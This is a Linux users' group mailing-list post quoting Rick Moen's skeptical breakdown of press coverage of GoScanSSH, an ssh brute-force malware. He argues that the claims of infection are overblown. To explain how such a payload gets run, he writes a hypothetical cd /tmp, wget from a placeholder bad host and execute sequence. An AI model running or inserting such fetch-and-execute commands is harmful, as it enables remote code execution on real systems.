[sf-lug] new Malware found! Maybe April Fool joke...

[Bobbie Sellers]

On 04/01/2018 11:09 AM, Rick Moen wrote:
> Quoting Bobbie Sellers (bliss-sf4ever at dslextreme.com):
>
>>      The URL leads to an article where it is said that a particular
>> malware is aiming at the consumer Linux servers, avoiding
>> Government servers.
>> <http://www.itprotoday.com/endpoint-security/newly-found-malware-deliberately-avoids-government-networks>
> Always start with the same key question, on any IT story about 'malware'
> alleged-threats:
>
>     How does it get run?
>     (And, if it must acquire elevated process privilege, how
>     does that happen?)
>
> Article concerns something called 'GoScanSSH', which is said to do a
> doorknob-twisting 'attack' where it attempts many outbound ssh
> connections to remote host IPs trying weak username/password pairs to
> see if it can get in ('a brute force attack that utilizes a word list of
> 7,000 user/password combinations, with usernames being of the "admin,
> guest, oracle, root, test, user" variety').
>
> OK, so that's how entry occurs -- in theory.  Of course, if you check
> pretty much any Linux machine, the system PAM modules and cracklibs do a
> pretty good job of forbidding users from picking bad passwords.  (I'm
> sure some are more lax than others.  Judging by the article, they seem
> to imply the main target is embedded devices.)
>
> Once the process waltzes into an ssh session as some (theoretically)
> easy to guess user/password set of credentials, and thus has a local
> shell, the script fetches 'a unique GoScanSSH binary' and runs it, sort
> of like this:
>
> cd /tmp
> wget http://bandit.somewhere.bad/do-stuff
> ./do-stuff
>
> That's how it gets run (in this scenario).
>
> Article declares the above using this howler:
>
>     After it's in, a unique GoScanSSH binary is created and uploaded to
>     the compromised SSH server and then executed to infect the system.
>                                                     ^^^^^^^^^^^^^^^^^
>
> OK, in the above hypothetical, the script entered as (say) user guest,
> and so resulting process /tmp/do-stuff is running as user guest, i.e.,
> with exactly user guest's authority and nothing more.  You should ask
> yourself:  How does a process running with peon user authority 'infect
> the system'?
>
> Pretty much the only files user guest is permitted to write to, and the
> only directories in which that user can even create new files, is in
> /home/guest and in /tmp.  Said user literally cannot touch the rest of
> the system without something extraordinary and separate that elevates
> user 'guest's' authority to (say) root-user authority.  Is there some
> extremely impressive deep magic hidden in /tmp/do-stuff by which it
> effortlessly breaks system security?  Article doesn't say -- but then,
> article assumes you're pretty ignorant and not thinking clearly.
>
> A careful reader would note that the article provides no data about this
> ssh-mediated worm achieving any actual _success_, e.g., any numbers of
> supposed Linux servers 'infected' and what sort of devices they are.
> A cynic might imagine that this is because there's no data.
>
> So, the itprotoday.com article is basically a thick layer of bullshit
> on a small not-very-interesting story.
>
>
> Chasing links to the original TALOS blog,
> https://blog.talosintelligence.com/2018/03/goscanssh-analysis.html , the
> contents are a little better.  Blog post clarifies that host security
> does _not_ get cracked, so the (e.g.) /tmp/do-stuff process continues to
> use peon-user authority only.  Blog nonetheless repeatedly refers to
> such a system as 'infected' and 'compromised', which is pretty much
> completely untrue.
>
> Predictably, the TALOS blog pushes TALOS antimalware products at the
> bottom.  Surprised?
>
>
> How this sort of bullshit gets into the IT press:
> 'Security Snake Oil' on http://linuxmafia.com/kb/Security/
>
     Thank you Rick for the explication of the matter.

     Bobbie Sellers